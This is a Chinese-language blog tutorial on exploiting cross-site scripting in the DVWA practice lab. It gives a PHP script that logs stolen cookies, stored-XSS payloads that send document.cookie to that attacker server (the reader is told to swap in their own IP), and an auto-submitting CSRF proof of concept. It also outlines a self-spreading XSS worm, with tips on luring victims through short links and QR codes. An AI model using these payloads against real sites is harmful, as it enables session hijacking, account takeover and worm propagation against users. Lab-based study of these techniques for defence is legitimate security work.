xss利用

Lmg66發表於2020-07-18

xss盜取cookie

什麼是cookie

cookie是曲奇餅,啊開個玩笑,cookie是每個使用者登入唯一id和賬號密碼一樣可以登入到網站,是的你沒有聽錯cookie可以直接登入,至於伺服器怎麼設定cookie
和cookie儲存這裡就不說了,需的要自行百度

xss盜取cookie(dvwa演示)

學習xss時覺得啊這,不就是一個彈窗嗎,有啥用,經過學習後發現xss的危害還是挺大的,彈窗的目的只是說明這裡可以執行動態指令碼,那就可以幹很多事情了

環境配置

官網:http://www.dvwa.co.uk/
下載地址:https://github.com/ethicalhack3r/DVWA
下載方式:zip下載或git https://github.com/ethicalhack3r/DVWA
下載完成放入http服務下即可
我使用的是phpstudy下載地址:https://m.xp.cn/

設定接受盜取cookie方式

xss盜取的cookie肯定是要儲存到我們自己的伺服器上,可以設定一個接受cookie的php網頁程式碼接受到請求攜帶cookie後儲存到檔案或者資料庫中等都可以,當然也可以不設定儲存,隨便請求一個一個伺服器網頁存在不存在無所謂,因為請求可以儲存到日誌檔案,但是看起來可能不方便而已,下面是儲存cookie的php程式碼

<?php

if(isset($_GET['cookie']))                 //如果接收到cookie
{
	$file = fopen('./cookie.txt', 'a');    //開啟儲存的檔案
	fwrite($file, $_GET['cookie']."\r\n"); //將獲取的cookie儲存
	fclose($file);                         //關閉檔案
}

放置xss(這裡用儲存型xss測試)

<script>document.location='http://127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>

我這裡用的本地的測試,document.cookie,就是獲取cookie,然後攜帶cookie訪問http://127.0.0.1/cookies/cookies.php?(換成自己伺服器ip就可以了,這裡我本地測試),先檢視一下我們的cookie

然後點選我們放儲存型xss的地方(xss(stored)),發現跳轉到了令一個網站,並且攜帶了你的cookie

在到cookie.php目錄檢視cookie.txt,可以發現cookie已經被儲存,cookie被盜取,我們可以利用cookie進行登入

這種動靜可能有點大,可以用js載入圖片的方式來傳送帶有cookie的請求,

<script>new Image().src = 'http://127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>

使用new Image()進行預載入

當然如果你還有其動靜小的方法可以留言,當然還可以用來載入其他的xss神器js程式碼

<script src=''>

xss蠕蟲

前提條件

有儲存型xss,可以csrf

原理(個人理解,如有錯誤可以評論聯絡我)

相關程式碼(只是簡單的,有過濾,要考慮繞過)

主體儲存xss

<script>document.location='csrf地址';</script>

csrf生成
用burpsuite抓包,右鍵,如圖選擇,copy複製,然後放到自己伺服器等等,當然也可以自己編寫csrf的poc,使之功能更加強大,可以自己點選等等,還有一些繞過等等,這只是簡單的csrf的poc


csrf演示程式碼,抓取的dvwa包加了js自動點選

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/lmg/vulnerabilities/xss_s/index.php" method="POST">
      <input type="hidden" name="txtName" value="æµ&#139;è&#175;&#149;" />
      <input type="hidden" name="mtxMessage" value="æµ&#139;è&#175;&#149;" />
      <input type="hidden" name="btnSign" value="Sign&#32;Guestbook" />
      <input type="submit" value="Submit request" />
    </form>
  <script type="text/javascript">                          // js自動點選
      var form = document.getElementsByTagName('form')[0];
      var input = document.getElementsByTagName('input')[3];
      input.value = window.location.hash.substr(1);
      form.submit();
  </script>
  </body>
</html>

受害者儲存xss和主體xss類似只是跳轉的網頁不同

<script>document.location='csrf地址';</script>

個人思考

xss的蠕蟲利用起來還是比較難的,要有儲存型xss(還要各種繞過),和csrf,但是危害是很大的,不僅僅是傳播文章,可以利用這個傳播盜取更多人cookie,個人資訊,位置,瀏覽器版本安裝軟體等等

xss利用的思考(持續思考)

像反射型xss,dom型的xss不在侷限於點一個很長的連結,可以利用其他第三方網站來跳轉,也可以利用短連結,也可以利用二維碼,二維碼捆綁一個連結,所以掃描未知二維碼是非常危險的事情
像儲存型xss,可以利用儲存型xss對其他網站進行流量攻擊

參考文章與說明

技術討論 | 記一次XSS蠕蟲滲透實驗
最後歡迎訪問我的個人部落格:https://lmg66.github.io/
說明:本文僅限技術研究與討論,嚴禁用於非法用途,否則產生的一切後果自行承擔